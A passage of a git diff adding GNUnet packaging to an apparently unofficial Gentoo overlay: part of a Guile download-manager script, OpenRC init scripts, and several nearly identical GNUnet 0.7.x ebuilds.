((rest (cdr option-list)) + (opt (car option-list))) + (if (null? rest) + #f + (if (or (string=? opt "-o") + (string=? opt "--output")) + (car rest) + (output-file-option rest)))))) + +(define (download-command . args) + "Start downloading a file using the given `gnunet-download' +arguments." + (gnunet-debug "download-command") + (let* ((argc (length args)) + ;; FIXME: We're assuming the URI is the last argument + (uri (car (list-tail args (- argc 1)))) + (options args)) + (download-file *gnunet-download* *status-directory* uri options))) + +(define (status-command . args) + "Print status info about files being downloaded." + (for-each (lambda (status) + (format #t "~a: ~a~% ~a~% ~a~% ~a~%" + (assoc-ref status 'uri) + (if (download-process-alive? status) + (string-append "running (PID " + (number->string (assoc-ref status + 'pid)) + ")") + "not running") + (string-append "Started on " + (strftime "%c" + (localtime (assoc-ref + status + 'start-date)))) + (string-append "Directory: " + (assoc-ref status + 'working-directory)) + (string-append "Output file: " + (or (output-file-option (assoc-ref + status + 'options)) + "")))) + (map (lambda (file) + (uri-status *status-directory* + (string-append "gnunet://afs/" file))) + (uri-status-files *status-directory*)))) + +(define (resume-command . args) + "Resume stopped downloads." + (for-each (lambda (status) + (if (not (download-process-alive? status)) + (if (= 0 (primitive-fork)) + (let* ((ret (download-file *gnunet-download* + *status-directory* + (assoc-ref status 'uri) + (assoc-ref status 'options))) + (code (assoc-ref ret 'exit-code))) + (exit code))))) + (map (lambda (file) + (uri-status *status-directory* + (string-append "gnunet://afs/" file))) + (uri-status-files *status-directory*)))) + +(define (killall-command . args) + "Stop all running downloads." + (for-each (lambda (status) + (if (download-process-alive? status) + (let ((pid (assoc-ref status 'pid)) + (dl-pid (assoc-ref status 'downloader-pid))) + (and (gnunet-info "Stopping processes ~a and ~a" + pid dl-pid) + (kill pid 15) + (kill dl-pid 15))))) + (map (lambda (file) + (uri-status *status-directory* + (string-append "gnunet://afs/" file))) + (uri-status-files *status-directory*)))) + + +(define (help-command . args) + "Show this help message." + (format #t "Usage: ~a [options]~%" *program-name*) + (format #t "Where may be one of the following:~%~%") + (for-each (lambda (command) + (if (not (eq? (cdr command) help-command)) + (format #t (string-append " " (car command) ": " + (object-documentation + (cdr command)) + "~%")))) + *commands*) + (format #t "~%")) + +(define (settings-command . args) + "Dump the current settings." + (format #t "Current settings:~%~%") + (module-for-each (lambda (symbol variable) + (if (string-match "^\\*.*\\*$" (symbol->string symbol)) + (format #t " ~a: ~a~%" + symbol (variable-ref variable)))) + (current-module)) + (format #t "~%")) + +(define (version-command . args) + "Show version information." + (format #t "~a ~a.~a (~a)~%" + *program-name* *version-major* *version-minor* *version-date*)) + +;; This hook may be added to *completed-download-hook*. +(define (completed-download-notification-hook status) + "Notifies of the completion of a file download." + (let ((msg (string-append "GNUnet download of " + (output-file-option + (assoc-ref status 'options)) + " in " + (assoc-ref status + 'working-directory) + " complete!"))) + (if (getenv "DISPLAY") + (waitpid (fork-and-exec #f "xmessage" msg)) + (waitpid (fork-and-exec #f "write" + (cuserid) msg))))) + +;; Available user commands +(define *commands* + `(("download" . ,download-command) + ("status" . ,status-command) + ("resume" . ,resume-command) + ("killall" . ,killall-command) + ("settings" . ,settings-command) + ("version" . ,version-command) + ("help" . ,help-command) + ("--help" . ,help-command) + ("-h" . ,help-command))) + +(define *program-name* "gnunet-download-manager") +(define *version-major* 0) +(define *version-minor* 1) +(define *version-date* "april 2004") + +(define (main args) + (set! *program-name* (basename (car args))) + + ;; Load the user's configuration file + (if (file-exists? *rc-file*) + (load *rc-file*)) + + ;; Check whether the status directory already exists + (if (not (file-exists? *status-directory*)) + (begin + (gnunet-info "Creating status directory ~a..." *status-directory*) + (catch 'system-error + (lambda () + (mkdir *status-directory*)) + (lambda (key . args) + (and (gnunet-error (exception-string key args)) + (exit 1)))))) + + ;; Go ahead + (if (< (length args) 2) + (and (format #t "Usage: ~a [options]~%" + *program-name*) + (exit 1)) + (let* ((command-name (cadr args)) + (command (assoc-ref *commands* command-name))) + (if command + (apply command (cddr args)) + (and (gnunet-info "~a command not found" command-name) + (exit 1)))))) \ No newline at end of file diff --git a/net-p2p/gnunet/files/gnunet.initd b/net-p2p/gnunet/files/gnunet.initd new file mode 100644 index 00000000..ffd01070 --- /dev/null +++ b/net-p2p/gnunet/files/gnunet.initd @@ -0,0 +1,32 @@ +#!/sbin/runscript +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 + +depend() { + need net +} + +start() { + if ! test -f "/etc/gnunetd.conf"; then + eerror "You must create /etc/gnunetd.conf file first" + return 1 + fi + + ebegin "Starting GNUnet" + # -u username, -c path to gnunet.conf file + start-stop-daemon --start --quiet --background --exec /usr/bin/gnunetd \ + -- -u gnunetd -c /etc/gnunetd.conf + eend $? "Failed to start GNUnet" +} + +stop() { + ebegin "Stopping GNUnet" + killall gnunetd + eend $? "Failed to stop GNUnet" +} + +restart() { + svc_stop + sleep 3 + svc_start +} diff --git a/net-p2p/gnunet/files/gnunet.initd-0.9.0 b/net-p2p/gnunet/files/gnunet.initd-0.9.0 new file mode 100644 index 00000000..63b26b51 --- /dev/null +++ b/net-p2p/gnunet/files/gnunet.initd-0.9.0 @@ -0,0 +1,38 @@ +#!/sbin/runscript +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 + +depend() { + need net +} + +start() { + if ! test -f "/etc/gnunet.conf"; then + eerror "You must create /etc/gnunet.conf file first" + return 1 + fi + if ! test -f "/var/lib/gnunet/hostlist/learned.data"; then + mkdir -p /var/lib/gnunet/hostlist/ + wget -q http://v9.gnunet.org:58080/ -O /var/lib/gnunet/hostlist/learned.data + chown -R gnunetd:gnunetd /var/lib/gnunet/hostlist + fi + + ebegin "Starting GNUnet" + # -u username, -c path to gnunet.conf file + sudo -u gnunetd /usr/bin/gnunet-arm -s -i fs -i statistics -c /etc/gnunet.conf +# sudo -u gnunetd /usr/bin/gnunet-services-fs -d -s -c /etc/gnunet.conf +# sudo -u gnunetd /usr/bin/gnunet-statistics -d -s -c /etc/gnunet.conf + eend $? "Failed to start GNUnet" +} + +stop() { + ebegin "Stopping GNUnet" + sudo -u gnunetd /usr/bin/gnunet-arm -e + eend $? "Failed to stop GNUnet" +} + +restart() { + svc_stop + sleep 3 + svc_start +} diff --git a/net-p2p/gnunet/files/gnunet.initd-0.9.0v2 b/net-p2p/gnunet/files/gnunet.initd-0.9.0v2 new file mode 100644 index 00000000..604f448e --- /dev/null +++ b/net-p2p/gnunet/files/gnunet.initd-0.9.0v2 @@ -0,0 +1,35 @@ +#!/sbin/runscript +# Copyright 1999-2008 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 + +depend() { + need net +} + +start() { + if ! test -f "/etc/gnunet.conf"; then + eerror "You must create /etc/gnunet.conf file first" + return 1 + fi + if ! test -f "/var/lib/gnunet/hostlist/learned.data"; then + mkdir -p /var/lib/gnunet/hostlist/ + wget -q http://v9.gnunet.org:58080/ -O /var/lib/gnunet/hostlist/learned.data + chown -R gnunetd:gnunetd /var/lib/gnunet/hostlist + fi + + ebegin "Starting GNUnet" + sudo -u gnunetd /usr/bin/gnunet-arm -s -c /etc/gnunet.conf + eend $? "Failed to start GNUnet" +} + +stop() { + ebegin "Stopping GNUnet" + sudo -u gnunetd /usr/bin/gnunet-arm -e -c /etc/gnunet.conf + eend $? "Failed to stop GNUnet" +} + +restart() { + svc_stop + sleep 3 + svc_start +} diff --git a/net-p2p/gnunet/gnunet-0.7.0b.ebuild b/net-p2p/gnunet/gnunet-0.7.0b.ebuild new file mode 100644 index 00000000..8c851286 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.0b.ebuild @@ -0,0 +1,120 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils libtool + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://www.gnu.org/software/GNUnet/" +SRC_URI="mirror://gnu//${PN}/GNUnet-${PV}.tar.bz2" +RESTRICT="nomirror" + +IUSE="ipv6 mysql sqlite guile nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.4 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + ncurses? ( sys-libs/ncurses ) + mysql? ( >=dev-db/mysql-4.0.24 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + guile? ( >=dev-scheme/guile-1.6.0 ) + nls? ( sys-devel/gettext )" + + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunet || die "Problem adding gnunet group" + enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user" +} + +src_unpack() { + unpack ${A} + cd ${S} + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + autoconf || die "autoconf failed" + libtoolize --copy --force + fi + + # Correct a little mistake... + cd contrib + epatch ${FILESDIR}/config-daemon.in.patch +} + +src_compile() { + + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + exeinto /etc/init.d + newexe ${FILESDIR}/${PN} gnunet + dodir /var/lib/GNUnet + chown gnunet:gnunet ${D}/var/lib/GNUnet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunet:gnunet /var/lib/GNUnet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunet group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and use as a global server config file" + einfo +} + diff --git a/net-p2p/gnunet/gnunet-0.7.0e.ebuild b/net-p2p/gnunet/gnunet-0.7.0e.ebuild new file mode 100644 index 00000000..d3c0ef2b --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.0e.ebuild @@ -0,0 +1,121 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils libtool + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://www.gnu.org/software/GNUnet/" +SRC_URI="mirror://gnu//${PN}/GNUnet-${PV}.tar.bz2" +#tests don't work +RESTRICT="test nomirror" + +IUSE="ipv6 mysql sqlite guile nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.13 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + ncurses? ( sys-libs/ncurses ) + mysql? ( >=dev-db/mysql-4.0.24 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + guile? ( >=dev-scheme/guile-1.6.0 ) + nls? ( sys-devel/gettext )" + + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunet || die "Problem adding gnunet group" + enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user" +} + +src_unpack() { + unpack ${A} + cd ${S} +# epatch ${FILESDIR}/${P}-nulludp.patch + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + autoconf || die "autoconf failed" + libtoolize --copy --force + fi +} + +src_compile() { + + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + exeinto /etc/init.d + newexe ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/GNUnet + chown gnunet:gnunet ${D}/var/lib/GNUnet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunet:gnunet /var/lib/GNUnet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunet group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and" + einfo "\tuse as a global server config file:" + einfo "$ gnunet-setup -d" + einfo "# cp ~/.gnunet/gnunetd.conf /etc/" + einfo +} + diff --git a/net-p2p/gnunet/gnunet-0.7.1.ebuild b/net-p2p/gnunet/gnunet-0.7.1.ebuild new file mode 100644 index 00000000..e589eafe --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.1.ebuild @@ -0,0 +1,122 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils libtool + +MY_PV=${PV/_/} +S="${WORKDIR}/GNUnet-${MY_PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://www.gnu.org/software/GNUnet/" +SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2" +#tests don't work +RESTRICT="test nomirror" + +IUSE="ipv6 mysql sqlite guile nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.13 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + ncurses? ( sys-libs/ncurses ) + mysql? ( >=dev-db/mysql-4.0.24 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + >=dev-scheme/guile-1.8.0 + nls? ( sys-devel/gettext )" + + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunet || die "Problem adding gnunet group" + enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user" +} + +src_unpack() { + unpack ${A} + cd ${S} +# epatch ${FILESDIR}/${P}-nulludp.patch + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + autoconf || die "autoconf failed" + libtoolize --copy --force + fi +} + +src_compile() { + + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + exeinto /etc/init.d + newexe ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/GNUnet + chown gnunet:gnunet ${D}/var/lib/GNUnet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunet:gnunet /var/lib/GNUnet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunet group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and" + einfo "\tuse as a global server config file:" + einfo "$ gnunet-setup -d" + einfo "# cp ~/.gnunet/gnunetd.conf /etc/" + einfo +} + diff --git a/net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild b/net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild new file mode 100644 index 00000000..e589eafe --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild @@ -0,0 +1,122 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils libtool + +MY_PV=${PV/_/} +S="${WORKDIR}/GNUnet-${MY_PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://www.gnu.org/software/GNUnet/" +SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2" +#tests don't work +RESTRICT="test nomirror" + +IUSE="ipv6 mysql sqlite guile nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.13 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + ncurses? ( sys-libs/ncurses ) + mysql? ( >=dev-db/mysql-4.0.24 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + >=dev-scheme/guile-1.8.0 + nls? ( sys-devel/gettext )" + + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunet || die "Problem adding gnunet group" + enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user" +} + +src_unpack() { + unpack ${A} + cd ${S} +# epatch ${FILESDIR}/${P}-nulludp.patch + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + autoconf || die "autoconf failed" + libtoolize --copy --force + fi +} + +src_compile() { + + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + exeinto /etc/init.d + newexe ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/GNUnet + chown gnunet:gnunet ${D}/var/lib/GNUnet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunet:gnunet /var/lib/GNUnet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunet group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and" + einfo "\tuse as a global server config file:" + einfo "$ gnunet-setup -d" + einfo "# cp ~/.gnunet/gnunetd.conf /etc/" + einfo +} + diff --git a/net-p2p/gnunet/gnunet-0.7.1a.ebuild b/net-p2p/gnunet/gnunet-0.7.1a.ebuild new file mode 100644 index 00000000..e589eafe --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.1a.ebuild @@ -0,0 +1,122 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils libtool + +MY_PV=${PV/_/} +S="${WORKDIR}/GNUnet-${MY_PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://www.gnu.org/software/GNUnet/" +SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2" +#tests don't work +RESTRICT="test nomirror" + +IUSE="ipv6 mysql sqlite guile nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.13 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + ncurses? ( sys-libs/ncurses ) + mysql? ( >=dev-db/mysql-4.0.24 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + >=dev-scheme/guile-1.8.0 + nls? ( sys-devel/gettext )" + + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunet || die "Problem adding gnunet group" + enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user" +} + +src_unpack() { + unpack ${A} + cd ${S} +# epatch ${FILESDIR}/${P}-nulludp.patch + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + autoconf || die "autoconf failed" + libtoolize --copy --force + fi +} + +src_compile() { + + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + exeinto /etc/init.d + newexe ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/GNUnet + chown gnunet:gnunet ${D}/var/lib/GNUnet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunet:gnunet /var/lib/GNUnet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunet group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and" + einfo "\tuse as a global server config file:" + einfo "$ gnunet-setup -d" + einfo "# cp ~/.gnunet/gnunetd.conf /etc/" + einfo +} + diff --git a/net-p2p/gnunet/gnunet-0.7.1b.ebuild b/net-p2p/gnunet/gnunet-0.7.1b.ebuild new file mode 100644 index 00000000..e589eafe --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.1b.ebuild @@ -0,0 +1,122 @@ +# Copyright 1999-2006 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils libtool + +MY_PV=${PV/_/} +S="${WORKDIR}/GNUnet-${MY_PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://www.gnu.org/software/GNUnet/" +SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2" +#tests don't work +RESTRICT="test nomirror" + +IUSE="ipv6 mysql sqlite guile nls gtk" +KEYWORDS="~amd64 ~ppc ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.13 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + ncurses? ( sys-libs/ncurses ) + mysql? ( >=dev-db/mysql-4.0.24 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + >=dev-scheme/guile-1.8.0 + nls? ( sys-devel/gettext )" + + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunet || die "Problem adding gnunet group" + enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user" +} + +src_unpack() { + unpack ${A} + cd ${S} +# epatch ${FILESDIR}/${P}-nulludp.patch + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + autoconf || die "autoconf failed" + libtoolize --copy --force + fi +} + +src_compile() { + + local myconf + + if use ipv6; then + if use amd64; then + ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled" + else + myconf="${myconf} --enable-ipv6" + fi + fi + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + $(use_enable guile) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + make install DESTDIR=${D} || die "make install failed" + dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + exeinto /etc/init.d + newexe ${FILESDIR}/${PN}-2 gnunet + dodir /var/lib/GNUnet + chown gnunet:gnunet ${D}/var/lib/GNUnet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunet:gnunet /var/lib/GNUnet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunet group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d to generate a server config file" + einfo " 4) Optionally copy the .gnunet/gnunetd.conf into /etc and" + einfo "\tuse as a global server config file:" + einfo "$ gnunet-setup -d" + einfo "# cp ~/.gnunet/gnunetd.conf /etc/" + einfo +} + diff --git a/net-p2p/gnunet/gnunet-0.7.2b.ebuild b/net-p2p/gnunet/gnunet-0.7.2b.ebuild new file mode 100644 index 00000000..9d1e9395 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.7.2b.ebuild @@ -0,0 +1,120 @@ +# Copyright 1999-2007 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +WANT_AUTOCONF=2.5 +WANT_AUTOMAKE=1.9 + +inherit 